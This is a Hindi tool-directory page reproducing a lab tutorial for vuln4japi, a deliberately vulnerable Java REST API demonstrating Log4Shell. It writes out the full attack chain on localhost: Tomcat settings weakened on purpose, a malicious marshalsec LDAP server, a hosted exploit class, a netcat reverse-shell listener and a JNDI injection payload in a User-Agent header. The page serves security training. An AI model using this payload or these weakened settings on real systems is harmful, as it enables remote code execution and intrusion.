Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
vuln4japi — एक कमजोर Java-आधारित REST API जो CVE-2021-44228 (log4shell) को प्रदर्शित करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/nix-xin/vuln4japi
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubnix-xin/vuln4japi

vuln4japi

एक कमजोर Java-आधारित REST API जो CVE-2021-44228 (log4shell) को प्रदर्शित करने के लिए है।

रिपॉजिटरी देखें
1134 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

vuln4japi

CVE-2021-44228 (log4shell) को प्रदर्शित करने के लिए एक कमजोर Java आधारित REST API।

प्रेरणा

Log4Shell ने दिसंबर 2021 की शुरुआत में इंटरनेट पर तूफान ला दिया। Apache Log4j लॉगिंग लाइब्रेरी में एक ज़ीरो डे कमजोरी, जो रिमोट कोड एक्ज़ीक्यूशन (RCE) में सक्षम थी, जिसके कारण दुनिया भर के संगठन अपने सार्वजनिक Java अनुप्रयोगों को ठीक/पैच/कम करने के लिए संघर्ष कर रहे थे। जैसे ही InfoSec समुदाय ने सुरक्षा टीमों को निरंतर विश्लेषण और समाधान प्रदान करने के लिए एक साथ आया, Log4j समुदाय इस कमजोरी को समाप्त करने के लिए पैच विकसित करने में व्यस्त था।

मैंने यह सरल कमजोर REST API विकसित किया है जो Apache Tomcat एप्लिकेशन सर्वर का उपयोग करके इस कमजोरी का फायदा उठाकर रिमोट कोड एक्ज़ीक्यूशन (RCE) के मार्ग को प्रदर्शित करता है। मुझे उम्मीद है कि इस प्रूफ ऑफ कॉन्सेप्ट का उपयोग आपकी SecOps टीमों को प्रशिक्षित करने या वर्तमान और भविष्य के एप्लिकेशन डेवलपर्स को शिक्षित करने के लिए किया जा सकता है। अपनी टीमों को प्रशिक्षित करें और अपनी सुरक्षा में सुधार करें, जिसमें SIEM नियम/अलर्ट, EDR, SOAR शामिल हैं लेकिन इन्हीं तक सीमित नहीं हैं।

इस हमले के कार्य प्रवाह को समझने के लिए, स्विस सरकार के कंप्यूटर इमरजेंसी रिस्पांस टीम GovCERT.ch द्वारा प्रदान किए गए इस ग्राफिक को देखें: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

अस्वीकरण

यह ट्यूटोरियल और सोर्स कोड केवल शैक्षिक और प्रशिक्षण उद्देश्यों के लिए प्रदान किए गए हैं। कृपया नैतिक और जिम्मेदारी से उपयोग करें। यह ट्यूटोरियल इस धारणा के साथ तैयार किया गया था कि हमलावर और कमजोर एप्लिकेशन एक ही कंप्यूटर पर हैं। अधिक वास्तविक दुनिया के अनुभव के लिए आर्किटेक्चर को फैलाएं और कमजोर एप्लिकेशन को अपने स्वयं के सर्वर पर चलाएं और हमलावर का अनुकरण करने के लिए Kali Linux या किसी अन्य वितरण का उपयोग करें।

चलिए शुरू करते हैं।

आपको क्या चाहिए

  • परीक्षण वातावरण (VM या हार्डवेयर, अधिमानतः Linux निर्माण और परीक्षण के लिए। मैंने Ubuntu Server चलाने वाला VM उपयोग किया)
  • Java JDK (मैंने OpenJDK 1.8.0_312 उपयोग किया)
  • Maven (Java प्रोजेक्ट निर्माण और प्रबंधन उपकरण; मैंने ver. 3.6.3 उपयोग किया)
  • Marshalsec (JNDI रीडायरेक्टिंग के लिए Java Unmarshaller: https://github.com/mbechler/marshalsec)
  • Apache Tomcat 8 (मैंने संस्करण 8.0.32 उपयोग किया: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
  • Python3 स्थापित (हम अपने .class फ़ाइल को होस्ट करने के लिए एक सरल स्थानीय वेब सर्वर चलाने के लिए http.server मॉड्यूल का उपयोग कर सकते हैं)
  • एक दुर्भावनापूर्ण Java क्लास फ़ाइल (सोर्स कोड xploitz निर्देशिका में प्रदान किया गया है)
  • अंत में, इस रेपो को क्लोन करें!

प्रक्रिया प्रवाह - कमजोर वेब एप्लिकेशन

एक बार जब आप Java JDK और Maven स्थापित कर लें, मान लें कि आप Linux वितरण पर हैं, तो अपने vuln4japi स्थान पर निर्देशिका बदलें और अपना प्रोजेक्ट बनाएं।

नोट: आप इसे बनाने से पहले एप्लिकेशन के कुछ घटकों को संशोधित करना चाह सकते हैं। उदाहरण के लिए, आप log4j2.xml फ़ाइल में log4j लॉग का पथ संशोधित कर सकते हैं। या आप pom.xml फ़ाइल में परिणामी war फ़ाइल का नाम बदलना चाह सकते हैं। यह पूरी तरह आप पर निर्भर है।

root@kitploit:~
cd /path/to/vuln4japi
mvn clean package -DskipTests

यदि आपको कोई बिल्ड त्रुटि नहीं दिखती है, तो आपके पास अपनी vuln4japi.war फ़ाइल के साथ एक नई बनाई गई target निर्देशिका होनी चाहिए। ठीक है, हम इस फ़ाइल पर थोड़ी देर बाद वापस आएंगे। आइए Tomcat पर संक्षेप में नज़र डालें।

आपके Java 8 के संस्करण के आधार पर, 8 के बाद के संस्करणों में यह विशेष सेटिंग (com.sun.jndi.ldap.object.trustURLCodebase) false पर सेट हो सकती है। यह प्रभावी रूप से JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। यही वह चीज़ है जिसका यह कमजोरी फायदा उठा रही है। इसलिए, हमें Tomcat की catalina.properties फ़ाइल को संशोधित करके इस सिस्टम सेटिंग को True पर सेट करना होगा, जिससे Tomcat जानबूझकर कमजोर हो जाए।

एक बार जब आप Linux के लिए apache-tomcat-8.0.32.tar.gz डाउनलोड कर लें, तो इसे /opt निर्देशिका जैसी कहीं अनटार करें।

root@kitploit:~
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt

/conf निर्देशिका में बदलें और फ़ाइल के नीचे catalina.properties को संशोधित करें।

नोट: अपना पसंदीदा टेक्स्ट एडिटर उपयोग करें। मैं इस उदाहरण में vim का उपयोग करता हूं।

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/conf

vim catalina.properties

# बिल्कुल अंत में निम्नलिखित सिस्टम गुण जोड़ें
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true

अपना टेक्स्ट एडिटर बंद करें और /bin निर्देशिका के अंदर catalina.sh स्क्रिप्ट का उपयोग करके Tomcat शुरू करें।

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start

http://localhost:8080/ पर नेविगेट करके या कमांड लाइन इंटरफ़ेस से एक सरल cURL कमांड के साथ अपने Apache Tomcat इंस्टेंस का परीक्षण करें।

root@kitploit:~
curl -vv http://localhost:8080/

यदि आप अपने ब्राउज़र या टर्मिनल पर एक स्वागत पृष्ठ देखते हैं, तो यह काम कर रहा होना चाहिए। अब हम अपना कमजोर एप्लिकेशन तैनात कर सकते हैं।

अपनी .war फ़ाइल को Tomcat की /webapps निर्देशिका में कॉपी करें। Tomcat आपके एप्लिकेशन को कुछ ही सेकंड में हॉटडिप्लॉय कर देगा।

root@kitploit:~
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps

एप्लिकेशन URL पर नेविगेट करके या फिर से कमांड लाइन से cURL का उपयोग करके अपने कमजोर एप्लिकेशन का परीक्षण करें। ब्राउज़र पर: http://localhost:8080/vuln4japi/api

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api

आपको निम्न संदेश प्रदर्शित होना चाहिए, Hi, this is a Vulnerable App!!

अब जब हमारे पास कुछ घटक काम कर रहे हैं, तो आइए इस चीज़ का फायदा उठाएं...

प्रक्रिया प्रवाह - हमलावर उपकरण

Marshalsec

marshalsec प्रोजेक्ट इस प्रकार के हमले को विस्तार से समझने के लिए एक उत्कृष्ट संसाधन है। अनिवार्य रूप से, यह एक दुर्भावनापूर्ण LDAP सर्वर के रूप में कार्य करता है जो फिर किसी भी अनुरोध को .class फ़ाइल होस्ट करने वाले दुर्भावनापूर्ण वेब सर्वर पर रीडायरेक्ट करता है। मैं marshalsec का उपयोग करने से पहले mbechler के Github रेपो पर पोस्ट किए गए कुछ दस्तावेज़ों की समीक्षा करने की अत्यधिक अनुशंसा करता हूं: https://github.com/mbechler/marshalsec

यदि आप तकनीकी विवरण और दस्तावेज़ीकरण को छोड़ने का निर्णय लेते हैं, तो उस रेपो को क्लोन करें और उसकी निर्देशिका में बदलें। अब, उस Java प्रोजेक्ट को बनाने से पहले, मैं LDAPRefServer.java फ़ाइल में एक पंक्ति का डीबग स्टेटमेंट जोड़ने की अनुशंसा करता हूं। यह प्रिंट स्टेटमेंट कमजोर सर्वर से LDAP क्वेरी को कैप्चर करते समय उपयोगी होगा।

अपने पसंदीदा टेक्स्ट एडिटर का उपयोग करके, निम्न फ़ाइल को संपादित करें और नीचे दिए गए कोड ब्लॉक में दिखाए अनुसार processSearchResult() विधि में पंक्ति जोड़ें।

root@kitploit:~
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
root@kitploit:~
@Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
                // पूर्ण अनुरोध जानकारी दिखाने के लिए यह पंक्ति जोड़ें
                System.out.println("Request: " + result.getRequest());
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

फ़ाइल को संशोधित करने के बाद सहेजें और अपना टेक्स्ट एडिटर बंद करें। अब आपको Maven का उपयोग करके marshalsec प्रोजेक्ट बनाने में सक्षम होना चाहिए। marshalsec फ़ोल्डर के रूट पर वापस निर्देशिका बदलें और maven निष्पादित करें।

root@kitploit:~
mvn clean package -DskipTests

यदि कोई बिल्ड त्रुटि नहीं है, तो आपको marshalsec-0.0.3-SNAPSHOT-all.jar फ़ाइल के साथ नई बनाई गई /marshalsec/target निर्देशिका दिखनी चाहिए।

आइए अपने दुर्भावनापूर्ण marshalsec LDAP सर्वर को निष्पादित करने से पहले अपने बाकी हमलावर उपकरण सेट करें।

दुर्भावनापूर्ण .class फ़ाइल

exploitz फ़ोल्डर में निर्देशिका बदलें और शामिल Exploit.java फ़ाइल को संकलित करें।

root@kitploit:~
javac Exploit.java

यदि आपको कोई त्रुटि नहीं मिलती है, तो आपके पास एक Exploit.class फ़ाइल होनी चाहिए।

बस इतना ही। आपके पास संकलित करने के लिए आवश्यक सब कुछ और वेब सर्वर चल रहा होना चाहिए। फिर से, मान लें कि आप इस परीक्षण को Linux सर्वर पर चला रहे हैं, आप कम से कम 5 टर्मिनल विंडो खोलेंगे।

टर्मिनल 1: marshalsec चलाएं

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389

टर्मिनल 2: xploitz निर्देशिका में निर्देशिका बदलें जहां आपका Exploit.class है और एक स्थानीय Python सर्वर चलाएं।

root@kitploit:~
python3 -m http.server 8081

टर्मिनल 3: अपने कमजोर एप्लिकेशन पर किए गए अनुरोधों का अनुसरण करने के लिए अपनी /tmp/logs/vuln4jpi_log4j.log फ़ाइल को टेल करें।

root@kitploit:~
tail -f /tmp/logs/vuln4japi_log4j.log

टर्मिनल 4: पोर्ट 8001 पर एक netcat लिसनर खोलें। यह निश्चित रूप से उसी होस्ट से रिवर्स शेल कनेक्शन होगा। याद रखें, हम यह सब एक ही होस्ट पर कर रहे हैं। वास्तविक दुनिया के अनुभव के लिए, 2 या 3 अलग-अलग कंप्यूटरों का उपयोग करने का प्रयास करें।

root@kitploit:~
nc -lv 8001

टर्मिनल 5: एक सरल cURL कमांड का उपयोग करके अपना पेलोड सबमिट करें।

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'

यदि सब कुछ अपेक्षा के अनुसार काम करता है, तो आपके पास पोर्ट 8001 पर अपने netcat लिसनर पर एक शेल अग्रेषित होना चाहिए। अपनी सभी टर्मिनल विंडो की समीक्षा करें और प्रत्येक में व्यवहार का निरीक्षण करें, किसी भी टाइपो या सिंटैक्स त्रुटि की तलाश करें। यहां बहुत कुछ चल रहा है इसलिए मानवीय त्रुटि हमेशा संभव है। इसे कुछ बार चलाएं जब तक आप इसे समझ न लें। आपको सोर्स को थोड़ा संशोधित करना पड़ सकता है, लेकिन अरे, इसी तरह हम सीखते हैं। ;-)

मुझे उम्मीद है कि आप इस प्रोजेक्ट से सीखने का उतना ही आनंद लेंगे जितना मुझे इसे एक साथ रखने में आया। यदि आपके पास कोई प्रतिक्रिया या टिप्पणी है तो मुझे ट्विटर @offswitchsec पर खोजें। आनंद लें और हैप्पी हैकिंग!

टूल डाउनलोड करें